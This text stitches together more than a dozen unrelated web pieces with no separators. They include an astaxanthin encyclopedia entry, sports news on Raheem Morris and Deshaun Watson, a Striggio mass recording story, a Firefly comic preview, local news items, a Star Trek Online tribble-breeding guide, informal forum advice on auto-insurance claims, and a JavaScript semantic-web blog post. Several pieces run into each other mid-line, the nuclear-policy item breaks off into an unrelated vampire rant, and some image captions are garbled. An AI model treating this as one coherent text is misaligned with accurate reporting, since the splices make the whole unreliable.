Astaxanthin can also be used as a dietary supplement intended for human, animal, and aquaculture consumption. The industrial production of astaxanthin comes from plant- or animal-based and synthetic sources. The U.S. Food and Drug Administration has approved astaxanthin as a food coloring (or color additive) for specific uses in animal and fish foods.[6] The European Commission considers it food dye and it is given the E number E161j.[7] Astaxanthin from algae, synthetic and bacterial sources, is generally recognized as safe (GRAS) by the FDA.[8][9] As a food color additive astaxanthin and astaxanthin dimethyldisuccinate are restricted for use in Salmonid fish feed only.[10]
Natural sources [ edit ]
Pandalus borealis (Arctic shrimp) is colored red by astaxanthin, and is used and sold as an The shell and smaller parts of the bodily tissue of(Arctic shrimp) is colored red by astaxanthin, and is used and sold as an extractable source of astaxanthin.
Haematococcus pluvialis cyst filled with astaxanthin (red). cyst filled with astaxanthin (red).
Krill is also used as an astaxanthin source is also used as an astaxanthin source
Astaxanthin is present in most red-coloured aquatic organisms. The content varies from species to species, but also from individual to individual as it is highly dependent on diet and living conditions. Astaxanthin, and other chemically related asta-carotenoids, has also been found in a number of lichen species of the arctic zone.
The primary natural sources for industrial production of astaxanthin comprise the following:
Astaxanthin concentrations in nature are approximately:[citation needed]
Algae are the primary natural source of astaxanthin in the aquatic food chain. The microalgae Haematococcus pluvialis seems to accumulate the highest levels of astaxanthin in nature and is currently, the primary industrial source for natural astaxanthin production where more than 40 g of astaxanthin can be obtained from one kg of dry biomass.[citation needed] Haematococcus pluvialis has the productional advantage of the population doubling every week, which means scaling up is not an issue. Specifically, the microalgae are grown in two phases.[citation needed] First, in the green phase, the cells are given an abundance of nutrients to promote proliferation of the cells. In the subsequent red phase, the cells are deprived of nutrients and subjected to intense sunlight to induce encystment (carotogenesis), during which the cells produce high levels of astaxanthin as a protective mechanism against the environmental stress. The cells, with their high concentrations of astaxanthin, are then harvested.[11]
Phaffia yeast Xanthophyllomyces dendrorhous exhibits 100% free, non-esterified astaxanthin, which is considered advantageous because it is readily absorbable and need not be hydrolysed in the digestive tract of the fish.[citation needed] In contrast to synthetic and bacteria sources of astaxanthin, yeast sources of astaxanthin consist mainly of the (3R, 3’R)-form, an important astaxanthin source in nature.[citation needed] Finally, the geometrical isomer, all-E, is higher in yeast sources of astaxanthin, as compared to synthetic sources.
In shellfish, astaxanthin is almost exclusively concentrated in the shells, with only low amounts in the flesh itself, and most of it only becomes visible during cooking, as the pigment separates from the denatured proteins that otherwise binds it. Astaxanthin is extracted from Euphausia superba (Antarctic krill)[12] and from shrimp processing waste. 12,000 pounds of wet shrimp shells can yield a 6–8 gallon astaxanthin/triglyceride oil mixture.[13]
Synthetic sources [ edit ]
Nearly all commercially available astaxanthin for aquaculture is produced synthetically, with an annual turnover of over $200 million and a selling price of roughly $5000–6000 per kilo as of July 2012.[citation needed] The market grew to over $500 million by 2016 and is expected to continue to grow with the aquaculture industry.[14]
An efficient synthesis from isophorone, cis-3-methyl-2-penten-4-yn-1-ol and a symmetrical C 10 -dialdehyde has been discovered and is used in industrial production. It combines these chemicals together with an ethynylation and then a Wittig reaction.[15] Two equivalents of the proper ylide combined with the proper dialdehyde in a solvent of methanol, ethanol, or a mixture of the two, yields astaxanthin in up to 88% yields.[16]
Metabolic engineering [ edit ]
The cost of astaxanthin production, high market price and lack of a leading fermentation production systems, combined with the intricacies of chemical synthesis mean that research into alternative fermentation production methods has been carried out. Metabolic engineering offers the opportunity to create biological systems for the production of a specific target compound. The metabolic engineering of bacteria (Escherichia coli) recently allowed production of astaxanthin at >90% of the total carotenoids, providing the first engineered production system capable of efficient astaxanthin production.[17] Astaxanthin biosynthesis proceeds from beta-carotene via either zeaxanthin or canthaxanthin. Historically, it has been assumed that astaxanthin biosynthesis proceeds along both routes. However, recent work has suggested that efficient biosynthesis may, in fact, proceed from beta-carotene to astaxanthin via zeaxanthin.[18][19] The production of astaxanthin by metabolic engineering, in isolation, will not provide a suitable alternative to current industrial methods. Rather, a bioprocess approach should be adopted. Such an approach would consider fermentation conditions and economics, as well as downstream processing (extraction). Carotenoid extraction has been studied extensively, for example, the extraction of canthaxanthin (a precursor to astaxanthin) was studied within an E. coli production process demonstrating that extraction efficiency was increased substantially when two solvents, acetone and methanol, were used sequentially rather than as a combined solution.[20]
Structure of Astaxanthin [ edit ]
Stereoisomers [ edit ]
In addition to structural isomeric configurations, astaxanthin also contains two chiral centers at the 3- and 3′-positions, resulting in three unique stereoisomers (3R,3′R and 3R,3′S meso and 3S,3′S). While all three stereoisomers are present in nature, relative distribution varies considerably from one organism to another.[21] Synthetic astaxanthin contains a mixture of all three stereoisomers, in approximately 1:2:1 proportions.[citation needed]
Esterification [ edit ]
Astaxanthin exists in two predominant forms, non-esterified (yeast, synthetic) or esterified (algal) with various length fatty acid moieties whose composition is influenced by the source organism as well as growth conditions. The astaxanthin fed to salmon to enhance flesh coloration is in the non-esterified form [22] The predominance of evidence supports a de-esterification of fatty acids from the astaxanthin molecule in the intestine prior to or concomitant with absorption resulting in the circulation and tissue deposition of non-esterified astaxanthin. European Food Safety Authority (EFSA) published a scientific opinion on a similar xanthophyll carotenoid, lutein, stating that “following passage through the gastrointestinal tract and/or uptake lutein esters are hydrolyzed to form free lutein again”.[23] While it can be assumed that non-esterified astaxanthin would be more bioavailable than esterified astaxanthin due to the extra enzymatic steps in the intestine needed to hydrolysis the fatty acid components, several studies suggest that bioavailability is more dependent on formulation than configuration.[24][25]
Uses [ edit ]
Astaxanthin is used as a dietary supplement and feed supplement as food colorant for salmon, crabs, shrimp, chickens and egg production.[26][27]
For seafood and animals [ edit ]
The primary use of synthetic astaxanthin today is as an animal feed additive to impart coloration, including farm-raised salmon and chicken egg yolks.[28] Synthetic carotenoid pigments colored yellow, red or orange represent about 15–25% of the cost of production of commercial salmon feed.[29] Today, almost all commercial astaxanthin for aquaculture is produced synthetically.[30]
Class action lawsuits were filed against some major grocery store chains for not clearly labeling the astaxanthin-treated salmon as "color added".[31] The chains followed up quickly by labeling all such salmon as "color added". Litigation persisted with the suit for damages, but a Seattle judge dismissed the case, ruling that enforcement of the applicable food laws was up to government and not individuals.[32]
Dietary supplement [ edit ]
The primary human application for astaxanthin is as a dietary supplement, although as of 2018, there was insufficient evidence from medical research that it affects the disease risk or health of people, and remains under preliminary research. In 2018, the European Food Safety Authority sought scientific information from manufacturers of dietary supplements about the safety of astaxanthin.[33]
Role in the food chain [ edit ]
Lobsters, shrimp, and some crabs turn red when cooked because the astaxanthin, which was bound to the protein in the shell, becomes free as the protein denatures and unwinds. The freed pigment is thus available to absorb light and produce the red color.[34]
Regulations [ edit ]
In April 2009, the United States Food and Drug Administration approved astaxanthin as an additive for fish feed only as a component of a stabilized color additive mixture. Color additive mixtures for fish feed made with astaxanthin may contain only those diluents that are suitable.[6] The color additives astaxanthin, ultramarine blue, canthaxanthin, synthetic iron oxide, dried algae meal, Tagetes meal and extract, and corn endosperm oil are approved for specific uses in animal foods.[35] Haematococcus algae meal (21 CFR 73.185) and Phaffia yeast (21 CFR 73.355) for use in fish feed to color salmonoids were added in 2000.[36][37][38] In the European Union, astaxanthin-containing food supplements derived from sources that have no history of use as a source of food in Europe, fall under the remit of the Novel Food legislation, EC (No.) 258/97. Since 1997, there have been five novel food applications concerning products that contain astaxanthin extracted from these novel sources. In each case, these applications have been simplified or substantial equivalence applications, because astaxanthin is recognised as a food component in the EU diet.[39][40][41][42]Coach Raheem Morris met with the Tampa Bay media Monday, which is a pretty strong sign he at least will coach the final game of the season (Sunday at Atlanta). But Morris’ future is still open to plenty of speculation.
Morris made it sound like he plans on being back next season.
Despite a nine-game losing streak, coach Raheem Morris says he believes in the Bucs' future. AP Photo/Brian Blanco
“I will never fire myself,’’ Morris said. “We go out and you don’t go from being a Coach of the Year candidate to being the worst coach in the league to getting fired within a year. It’s about us. It’s a little bit of everything. I believe in my guys. I believe in the system, I believe in the program, in what we do and in everybody in this building, so it’s a buying in factor. And either you’re buying in or you [aren’t]. We wanted to build this thing young and develop a team that goes out and wins and wins consistently."
Morris is accurate about the team being young. The Bucs are the NFL’s youngest team for the second straight year. But the part about being a candidate for Coach of the Year one season and not getting fired the next season, doesn’t exactly hold up to recent league history. The Kansas City Chiefs fired third-year coach Todd Haley after they started 5-8 this season. Haley and the Chiefs went 10-6 last season and made the playoffs.
The Bucs went 10-6 last season and didn’t make the playoffs. They started 4-2 this season, but have lost nine consecutive games. What’s more troubling is the Bucs seem to have regressed as the season has gone on. They recently have been blown out by teams with records below.500 (Carolina twice and Jacksonville).
Morris said what’s happening this season is part of the growing pains of a youth movement.
"We made a collective agreement to go young when we took over this program,’’ Morris said. “That’s something we wanted to do. In order to upgrade at certain positions, sometimes you have to get worse before you get better. And going out and getting a young middle linebacker [Mason Foster] was something that we decided to do and we did it. Whether or not at the beginning we were both on the same page or all three of us including the Glazers were on the same page doesn’t matter. At the end of the day, we decided to do it and we went out and did it.’’
Morris is talking like he still plans to be around, but that doesn’t mean he’ll be back. The ultimate decision will be up to ownership. One way or the other, I would expect some sort of decision shortly after the Bucs finish their season.Alessandro Striggio's 1566 mass, performed by 40 choristers, sees voices, strings and brass meld into a jaw-dropping harmony.
The mass was first performed in the 16th century, touring Europe, before being lost in the mists of time.
Several years ago, the work, Missa sopra Ecco sì beato giorno, was rediscovered in the Bibliothèque Nationale in Paris, where it had been miscatalogued. In 2007, it was given its first modern performance at London's BBC Proms. Now, a new recording of the work has made its debut on the pop charts at number 68, beating the likes of Bon Jovi, George Harrison and Eminem. It is extremely rare for core classical music releases to appear in the British pop charts. The recording is number two in the classical listings and there are further plans for a live touring performance to coincide with the London 2012 Olympics.
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"I think people are interested, for starters, because of freak aspect of it," said Robert Hollingworth, 44, conductor and founder of vocal group I Fagiolini, which recorded the work.
"We will see how it fares after several weeks. You get more from it the more times you listen. The real question is: how many of the voices can you actually hear? It's been so carefully recorded by the engineers that I think you can really pick up on how many people sing in the recording."
Striggio is believed to have left copies of his work in several of the places where he toured it, including the courts of Albrecht V in Munich and Charles IX in France. Because of copying errors on the original manuscript and card catalogue, when the French version eventually ended up in the Bibliothèque Nationale, it was attributed erroneously to "Alessandro Strusco" with 40 voices being altered to "four voices". The work was recovered by British musicologist Davitt Moroney, who also conducted the 2007 Proms performance.
The release also features a version of Thomas Tallis's Spem in alium, which is believed to have been inspired by Striggio's works. Tallis lived between 1505 and 1585 and was a favourite of Queen Elizabeth I. That piece is known for being incredibly technically advanced for its time.
"To have the piece that inspired Tallis's work recorded with care and to find out it was such a good piece was a great find," added Mr Hollingworth.
"That our group of musicians got it right first time is additionally impressive. With the surround sound it is really fantastic. It can be an unpractical thing to perform live, but in this way you can appreciate its intimate parts, at the level of sacred conversation, as well as its grand scale."
Striggio is believed to have lived from 1536 to 1592 and was a court composer for Florence's Medici family. According to Hollingworth, he wrote the mass in 40 parts because the Medicis liked "to make a big stink and money wasn't a problem".
Universal Music Group's Decca Records used five choirs to record the album in Tooting's All Saints Church last year, employing authentic period instruments including a lirone, a precursor to the cello, recorders, and lutes. Mr Hollingworth said instruments took the place of some of the vocal parts, which was an accepted practice at the time.
The album also went to number one in the iTunes chart on the day of its release.Joss Whedon's cult sci-fi show Firefly gets another comic book spinoff in Serenity: The Shepherd's Tale, which delves into the murky back story of benevolent minister Shepherd Book.
Written by wisecracking siblings Joss and Zack Whedon (Dr. Horrible's Sing-Along Blog) and illustrated by Chris Samnee (Blackest Night: Tales of the Corps), the new Serenity comic – due Oct. 27 from Dark Horse Comics and exclusively previewed in the gallery above – is a bloody but bittersweet look back at one of Firefly's kinder, gentler outsiders.
Who, it should be noted, had zero problem breaking out the fists or guns when problems arose on the TV show (which was often).
Firefly might have filled in the blanks on the Shepherd Book character if the series hadn't been canceled by Fox, a network that evidently has never met a popular cult program – The Adventures of Brisco County Jr., Firefly, Futurama, Family Guy, should I go on? – that it couldn't help but kill.
Unlike Patton Oswalt's recently released Firefly comic, Serenity: Float Out, Dark Horse's newest narrative from the Whedons' fertile universe features other well-known characters from the beloved sci-fi series. Scan their faces and try not to feel bitter that Firefly is mothballed while American Idol still flies.
Images courtesy Dark Horse Comics
See Also:Clemson University quarterback Deshaun Watson is the winner of the 2016 Johnny Unitas Golden Arm Award, presented annually by the Johnny Unitas Golden Arm Educational Foundation, Inc.
The native of Gainesville, Georgia who is a junior in eligibility, but will receive his undergraduate degree on December 15, led Clemson to the ACC Championship last Saturday in a 42-35 victory over Virginia Tech. It was the second consecutive year Clemson has won the ACC title, the first time the program has done that in 28 years. He is the first Clemson quarterback to lead the Tigers to back-to-back conference crowns since Rodney Williams led Clemson to three straight league crowns from 1986-88.
Watson was 23-34 for 288 yards and three touchdowns passing and added a team best 85 yards rushing on 17 carries and scored twice against Virginia Tech. He was named the Most Valuable Player of the ACC Championship game for the second consecutive year. For the season, Watson has completed 329 of 487 passes for 3914 yards and 37 touchdowns. He ranks fourth in the nation in completions, fifth in touchdown passes and eighth in completion percentage and eighth in total offense. His 37 touchdown passes are a Clemson season record.
Watson has finished strong, connecting on 138 of 186 passes for 1586 yards and 15 touchdowns over the last five games. That is a 74 percent completion percentage. He has had 20 touchdowns rushing and passing over the five games and averaged 356.8 total offense yards per game.
Candidates for the Golden Arm Award – which has been presented at the end of each college football season since 1987 – must be college seniors or fourth-year juniors on schedule to graduate with their class. In addition to the accomplishments on the field, candidates are judged on their character, citizenship, scholastic achievement, and leadership qualities.
Past Golden Arm Award winners include: Peyton Manning (Tennessee, 1997); Carson Palmer (USC, 2002); Eli Manning (Ole Miss, 2003); Matt Ryan (Boston College, 2007); Colt McCoy (Texas, 2009); Andrew Luck (Stanford, 2011), Marcus Mariota (Oregon, 2014) and Connor Cook (Michigan State, 2015).
Watson will receive the 2016 Johnny Unitas Golden Arm Award at a ceremony to be held this Friday, December 9, 6-9 p.m., at the Embassy Suites Baltimore Inner Harbor & The Grand in downtown Baltimore.
Proceeds from the Golden Arm Award help to support the Johnny Unitas Golden Arm Educational Foundation. The Foundation provides financial assistance to underprivileged and deserving young scholar-athletes throughout Maryland and Kentucky.
Sponsors of the Golden Arm Award include: Under Armour, The Babe Ruth Museum, Baltimore Sun Media Group, Century Engineering, Coach for America, Comcast, Dunbar Armored and Dunbar Security Solutions, The Embassy Suites Baltimore Inner Harbor & The Grand, Haddock Investments, HMS Insurance Associates, Inc., Maryland Department of Commerce, Metropolis Funding, PSAV, Panini, TRAY, SILKS, The Scott Garceau Show, MedStar Sports Medicine, Wilson Sporting Goods, and ZBest Executive & Global Transportation Services.
To learn more about the Golden Arm Award, please visit: Golden Arm Award. Additionally, please follow the conversation on Facebook and Twitter or use the hashtag, #GoldenArmAward.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A TINY village in Rwanda has been renamed Dumbarton in tribute to churchgoers who raised thousands of pounds for their community.
The Rock Community Church in the Scots town have handed over almost £26,000 to the 150-strong Jari community.
Church spokesman Billy McClung said: “Local government officials in Rwanda said that because of our financial and emotional commitment to Jari, they were happy for us to rename this area how we liked.
“I made an executive decision that this should be Dumbarton Village. The people of the Jari community were delighted as it’s evidence of the links between us and them.”
The church have forged strong links with the people of Jari, who are still trying to rebuild their lives after the genocide of 1994, when more than half a million Tutsis were slaughtered by Hutus following long-standing ethnic rivalry in the east African country.
The cash raised by the church has been used to improve infrastructure in the village.
Mud huts are being replaced with more sophisticated homes for Tutsi widows and children.
The Rock church, in conjunction with Kilsyth charity Comfort Rwanda, have raised enough money to build three houses equipped with guttering, toilets and solar panels. Work has begun on a fourth house and the money raised in Scotland has helped kick-start a mini local economy in Dumbarton, Rwanda, with locals selling electricity generated by solar panels to power neighbours’ mobile phones.
Scots-funded bee hives are also enabling them to harvest honey, with other money raised going to buy cows and sewing machines.
Billy said: “Our church gives to a number of foreign organisations.
“Parishioners raise the money here and we take part in bag-packing in supermarkets. A lot of the stuff we do is income-generating activity – a hand up rather than just a hand-out.”Something is rotten in the state of New York. Specifically, upstate. People in the Buffalo area keep crashing their cars into buildings, and nobody can explain it.
According to a tally by local news station WVIB, about 17 cars have pummeled into storefronts since August. They even built a handy map and gallery to keep track of all of them. Amherst, NY, has started to enact regulations that would require barriers in front of restaurants to protect from careening cars.
Some of the crashes have been tragic, like when two young men were killed when a car smashed into a grocery store last Saturday, probably due to speeding. Others are pretty harmless, with a lot of people accidentally stepping on the gas instead of the brakes, like when this senior citizen drove through the window of a Wendy's.
Public radio station WBFO talked to a couple experts in storefront crashes (they exist), who confirmed the spate was out of the ordinary.
Locals are clearly a little freaked out. We've been getting nearly-daily email updates from residents on the ever-increasing number of crashes; one commenter on Buffalo's local Topix forum offers darkly, "Something is suspect about these scenarios and reasons…"
[Images via WVIB]Somervelo, Somerville’s Newest Bike Repair Shop, Opens In Union Square
After years of managing and working in other people's stores, JT Hargrove and Tom Estrada decided it was time to start their own.
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Around two years ago, JT Hargrove and Tom Estrada were sitting on a porch having a beer when they tossed around the idea of opening a bike-repair business that services people’s rides in record time. “It was one of those late-night ‘let’s start a bar!’ type conversations, but then we were like, we actually know how to do this, we should start thinking about this,” said Hargrove.
Last weekend that conversation turned into a reality when the pair officially opened the doors to their own shop, called Somervelo. “It’s going really good so far. It’s already been pretty busy,” said Hargrove, co-owner of Somerville’s newest bike repair location, which is tucked away on Somerville Avenue in Union Square. “A lot of people have been walking and riding by and stopping in. Everyone has been super positive.”
For years, Hargrove and Estrada worked in a multitude of shops all around Boston, either as mechanics or managers. Once they decided it was time to branch off and begin their own business, they were careful to let the process grow organically, and spent months servicing repairs from Hargrove’s garage in Somerville while Hargrove’s wife, Monica, built their brand strategy and visual identity. When the time was right, they finally moved all of their tools to Union Square, and last Saturday they rolled out their services. They are tentatively planning a grand opening celebration sometime this month.
While Somerville already has a handful of shops in neighborhoods like Davis and Magoun Square, which are quick to tune up or repair people’s bikes on a regular basis, Hargrove and Estrada, two friends who met on a whim years back while working as bike couriers, are taking a different approach to how they handle customers’ needs. “We just fix bikes, we don’t need to sell bikes,” said Hargrove. “There are other shops that sell bikes and we felt we didn’t need to compete with that. We just wanted to be able to have a fast turnaround for bike repairs. People can come in, drop it off, and come in the next day and it will be ready.”
To speed up the repair process, Hargrove and Estrada launched a website along with their store opening that allows customers to put in specific requests prior to arriving at Somervelo. This way, the shop owners can anticipate the incoming customers, and lock-in time slots for their bicycle queries. “If someone has a flat, I know it’s coming in, so I book off that time,” said Hargrove. “Doing it this way it keeps the wait time down, and we can get people in and out of the door as quick as possible.”
Or if they want to linger around, that’s OK with Hargrove and Estrada, too. Part of the ambition behind opening Somervelo in Union Square was to foster the bicycling community, and make it a place where riders feel comfortable bringing their bikes and meeting new people. “I live in Union, and I just love the area and the community of small businesses, and everyone working together and just supporting each other,” said Hargrove. “We want to have a shop where people can feel they can hang out, and not be forced to buy something. If someone wants to come in and hang, we’re cool with that.”Citing a strategy paper from the EU on Tuesday, "Spiegel Online" reported that the European Union plans to defend its technological dominance in the nuclear sector.
According to the document, the European Union's 28 member states should strengthen cooperation on researching, developing, financing and constructing innovative reactors.
The paper is reportedly the basis for the European Commission's future nuclear policy and is expected to be passed by the European commissioner for energy union on Wednesday. The report would then be presented to the European Parliament.
Germany has taken a clear anti-nuclear stance
"Spiegel" reported that the European Union plans to advance the minireactors with the hope that such technology should be in use no later than 2030.
German nuclear phaseout
The plans contradict policy in Germany, which currently intends to end the domestic use of nuclear power by 2022. As an alternative to nuclear energy, Berlin has pushed to increase renewable energy, such as wind and solar power. But a decision to shut down nuclear power following the 2011 Fukushima nuclear disaster in Japan has also left Germany reliant on dirty and readily available coal to produce power.
The task of safely decommissioning and dismantling nuclear power stations also |
is all there--vampires are sex and death, werewolves are life and sex, they really do go together--but no one ever does anything with it but yell: Look! A werewolf! Now back to the vampire moping on the double!
I demand better.
And this has been my complaining about the state of vampires in our fallen world. We now return you to your regular sparkly programming.Tribble Breeding can be a fun and interesting part of Star Trek Online gameplay. There are as many as 40 different sub-species of Tribbles: some of them provide a quick heal and are pretty common to find, while others are more rare and give various types of buffs to the player (or any Bridge Officer who has them equipped) when used.
In order to breed, Tribbles must be fed; in other words, food or drink must be placed in the same area as them. Tribbles can be bred in the player inventory, while equipped on the player or a Bridge Officer, or even in your personal bank. They do not, however, breed in the fleet bank.
Tribbles breed every hour, on the hour, after you've started playing the game. Your game time can be found by typing in /played in the chat window.
There are three levels of food and drink: +56%, +64%, and +72% food. The higher the HP boost a food/drink provides to the player, the more rare it is in-game, and the more it is needed for higher-level breeding.
To breed higher level Tribbles (Tier 4+), lower level Tribbles must be fed specific food items. For details on which food items are required to breed a Tribble, click on that Tribble below or check the Tribble Breeding Table.
It is possible to intentionally bulk breed multiple tribbles at the same time. Just ensure that the number of food items equals the number of parent, or stud, tribbles, and that the food is not stacked. One food item per cell, per tribble. However, there is no safe way to ensure a specific offspring if different stud types are in the same zone, as there is no way to control which food item any given tribble will eat.
Alphabetical List of Breeding Food [ edit | edit source ]
Any food not listed below will produce a tribble, low level, unknown type.
There are eight levels of Tribbles in the game — nine if you include the Best Buy pre-order Tribble with all 3 possible buffs at once. While all non-preorder Tribbles can have two buffs, one buff, or no buffs (simple heal), some provide more powerful buffs than others.
A Tribble can only breed other Tribbles at the same or next level as itself with the right food. With the wrong food, a Tier 1 Tribble will result. Below is a list of the levels of Tribble sub-species players will encounter.
For example, if a Tier 6 or 7 Tribble consumed a food item that gives a boost below +72%, a Tier 1 Tribble will replace that food item. Hence, breeding should be done in steps, with all Tier 1 Tribbles being removed before breeding Tier 2 to Tier 3, and so forth.
For more information on exactly which food or drink to feed a certain sub-species to get which offspring, click on each sub-species' picture.
Tiers 1 to 3 [ edit | edit source ]
Tier 1 Tribbles only can be found in enemy loot (Klingons, allies and enemy crates) and only provide a simple self-heal. Tribble 1 or 2 tribbles result from feeding any tribble any level of food below 63%.
Tier 1 Breeding Foods Tier 2 Breeding Foods Tier 3 Type Any -64% food Any +64% food. Self-Heal
Tiers 3 to 6 [ edit | edit source ]
Tier 3 Breeding Foods Tier 4 Breeding Foods Tier 5 Breeding Foods Tier 6 Type Damage Health Regeneration Damage Damage Resistance
Tiers 6 to 8 [ edit | edit source ]
Tier 6 Breeding Food Tier 7 Breeding Food Tier 8 Type Damage Health Regeneration Damage Damage Resistance
Cannibal Tribbles [ edit | edit source ]
Cannibal Tribbles are not part of the normal breeding tiers, but operate in a similar manner. Tribble foods can be made through Klingon duty officer missions. When fed to tribbles, it produces a cannibal tribble which will eat other tribbles in your inventory. These can then be turned in at Klingon security officers as part of a Tribble Bounty.
Tribble Breeding Food Result Breeding Food Carcass Any Common Tribble Any Common Tribble Any Uncommon Tribble Any Uncommon Tribble
Special Tribbles [ edit | edit source ]
Special tribbles are either bred by feeding any tribble a particular food (i.e. the Gamma Quadrant Tribble can be bred by feeding any tribble ketracel white), or they are otherwise purchased and unable to be bred (i.e. Tribble of Borg was originally a testing reward and is now obtainable from the c-store). Feeding these tribbles regular foods usually grants a tier 5 tribble.Getting the Best Advise when looking for an Attorney
We know that the woman has insurance and it is up to date as we have already contacted her insurance as well as ours about this accident. What should we do?
Wait, don’t get an attorney, see what happens first, see what her company offers. See what his injuries really are. It has only been a few days. He may be fine in 2 weeks, you don’t know yet, you don’t even have his diagnosis.
First, you are only going to get actual cash value of the vehicle & all new cars instantly depreciate $2-3,000 maybe more the second you drive off the lot. I ALWAYS advise my insureds unless they are putting a big chunk of money down on the car (close to $10,000 at least) to get GAP insurance, it is less than $50 per year on your auto policy (usually for most people in my area). They can always take it off but can’t add it later, it has to be added when the new car is added. You will not get money to pay off the loan from the other carrier, sorry. If you chose to over finance your car, that is between you & the loan company.
You can ask for lost wages. Car rental cost IS loss of use. Also, once the car is paid for, the rental car payments will be cut off, so be prepared to go out & get another car when the bank gets paid off.
An attorney will take 30-40% of the settlement, if you can afford that, call one, otherwise wait. Also, the attorney will take all the bills (won’t pay them) and submit them all together to the other carrier which could put the medical bills in collections so be careful of that if you do decide to call an attorney. An attorney will also delay the settlement, ask any claim rep on here (I personally know 2 & they do the same thing), the files with attorneys tend to get worked on after the ones without attorneys.
Others Advise:
PLEASE NOTE; THE INFO BELOW IS BASED ON THE FACT IT APPEARS YOUR HUSBAND IS NOT LIABLE FOR THE ACCIDENT.
IF HE IS FOUND LIABLE, THEN ALL THE MED BILLS, YOUR VALUE ON YOUR CAR MINUS A DEDUCTIBLE WILL BE PAID FROM YOUR INSURANCE POLICY AND THIS IS IF ONLY YOU HAVE THE COVERAGE ON YOUR AUTO POLICY. IF HE IS LIABLE, NO PAIN/SUFFERING, LOST WAGES CAN BE PAID FROM YOUR OWN AUTO INSURANCE POLICY.
NOW IF THE OTHER INSURANCE COMPANY AGREES THEY ARE AT FAULT.
To start, I have been an auto claim adjuster for over 10 years. What Sue said is about on the money, it appears she is an insurance agent.
1; You can only get the cash value of your vehicle regardless of how much you owe;
2; You are owed rental if your car is not drivable; and yes, when your lien is paid, they will take you out of the rental w/in a day to couple of days, depends on the insurance company, but be ready and look for a replacement car asap. The fact you have not found a replacement car, does not change anything.
3; Medical bills:
If your auto insurance policy has medical payment coverage it is primary and pays 1st; then if you have health insurance, they pay 2nd; any out of pocket or deductibles are your responsibility. keep track of all payments you make;
The other company who is at fault does not, let me repeat, does not pay your medical bills; that is your responsibility to pay; that is the reason you have your auto medical payment coverage pay if you have on your policy or your health insurance. Otherwise, the providers will go after you for collection. The providers don’t care about any settlement with an insurance company, they want their money for services.
4; Attorney:
in the next couple of days if not by now, you will get tons of phone calls and letters from attorneys. ignore them. Just because they advertise or send great brochures, most of them are just factories and they pay a ton for advertising, which they subtract from any settlement. (they usually charge higher fees; ie 40 to 50% vs the standard 1/3)
As for your injury:
They will request a signed authorization; this will allow them to get copies of the medical bills and all medical reports of the injuries. if your husband had pre-existing injuries, they take off the “value” of his injury. as for lost wages. it has to be verified by the doctor and by his employer. Just because he is off work for a week does not mean he will be compensated for 1 week; it has to be verified. Also, even if you treat for 3 months, some adjusters may not allow all the bills in the settlement; they could question if treatment medically necessary or over treatment.
Now we take the medical bills, plus loss of income and add up the totals; we then add on pain/suffering for the total amount of offer we make. The average time for any offer to be made is around 3 months; that allows for copies from providers, medical reports etc; like above, we don’t make offers until treatment is complete. So if your husband has 2 months of treatment, then it could be 5 to 6 months before all info is received to evaluate a settlement offer.
Now for attorneys:
Wait for any offer; if you believe it does not sound fair, ask the reason on how they came up with it; then if you want to consider getting an attorney for legal advice:
;;;;;;;;;and this is important;
Call an attorney you have hired in the past, say for a divorce, bankruptcy etc; if they cant handle, they will always refer you to a good attorney that can do you well; if you never hired an attorney, ask coworkers, family friends etc for names. It is always best to hire an attorney someone knows, just like a plumber. (*usually the best attorneys, do not advertise; they don’t advertise since all of their business is referrals from other clients who were satisfied.*)
good luckThe random designer trying to claim 84 percent of Facebook might have CEO Mark Zuckerberg's signature on a contract giving him the ownership stake. Facebook's courtroom admissions are making Paul Ceglia's claim sound a lot less insane.
The Western New York man still has to explain why Zuckerberg would effectively sign away his social network months before he is said to have invented it in his Harvard dorm room. But his lawyers did get Facebook counsel Lisa Simpson to admit: 1) that Zuckerberg had a contract of some sort with the Web designer; and 2) that Facebook is "unsure" of whether its CEO signed the specific contract that hands over much of his Facebook equity.
Both sides accept that Zuckerberg agreed to do some Web development for another project Ceglia was working on. What's up for dispute is if the money was also intended as an investment in Facebook. Facebook is trying to say it's too late to sue over the contract because the statute of limitations has expired. Unless the company can cobble together a better picture of what agreements its founder did or did not enter into, that's probably the best approach.
Previously:
Facebook's Assets Frozen Over Insane Legal Claim
[Photo via JD Lasica/Flickr]The Semantic Web & Javascript
This is my blog, where I will talk about:
code software technology finance investing anything that peaks my nerdiosity
Just ask my wife and you will find that I am not exaggerating. I find the most mundane topics very exciting.
I am a full-time professional software developer. I run across many different problems where the paths to take are varied. Every solution is a trade off where some things are better and some things are worse.
When you're dealing with complex systems, it's important to think in terms of trade-offs instead of right or wrong.
It may seem black and white, especially to an opinionated developer, but that's usually just surface level.
Dig deeper
Most of the time you'll find that there are trade-offs. Make a change and some things are better and some are worse.
No matter how awesome your design may seem, it's probably not the Holy Grail, because there is no Holy Grail. It will work well in some problem spaces and poorly in others.
The Semantic Web
This is one of the things that I am working with right now. The main premise is simple. Instead of a relational and object-oriented paradigm, we are dealing with RDF or triples.
An example triple: "dog is animal"
Here's how we could represent this triple in JSON into its constituent parts.
{ "subject": "dog", "predicate": "is", "object": "animal" }
So the idea with semantic data is you have a bunch of these triples about a dog instead of a row or object about a dog.
Note that you could construct triples from a dog object and you could also construct a dog object from triples about a dog. So what's the point?
The point is modeling relationships. With semantic data (or linked data) it is much more flexible to model relationships than in a relational data model.
Example object vs example triples:
var dogObject = { name: "Fido", age: 3, breed: "Beagle", is: "dog", }; var dogTriples = [ {subject:"Fido", predicate:"is", object:"dog"}, {subject:"Fido", predicate:"age", object:3}, {subject:"Fido", predicate:"breed", object:"Beagle"}, ];
This was my first inclination to represent a triple in Javascript.
But what if we have to deal with triples that don't use the labels subject, predicate, object?
For example, if we were dealing with data that looked like:
{source:"Fido", edge:"is", target:"dog"}
Then to work with this data, I'd have to do a mapping that told me which is the subject column, which is the predicate and which is the object.
Better to go with a simple convention:
var dogTriples = [ [ "Fido", "is", "dog" ], [ "Fido", "age", 3 ], [ "Fido", "breed", "Beagle" ], ];
This is much less verbose. The simple convention expects the subject then the predicate, then the object. No more labels to deal with, much less typing.
No Compilation Necessary
It turns out that Javascript (and other dynamic languages) are a good fit for triple data. If I wanted to take the triples and build up an object like the dogObject earlier, we could easily do that without any special reflection or dynamic programming.
Also, unlike most statically typed languages, we can mix and match types in an array. In other words, we can have two strings and a number like:
[ "Fido", "age", 3 ]
As opposed to every item having to be the same type, as in most statically typed languages.
So what do we gain by representing data this way? Let's say we add a new triple:
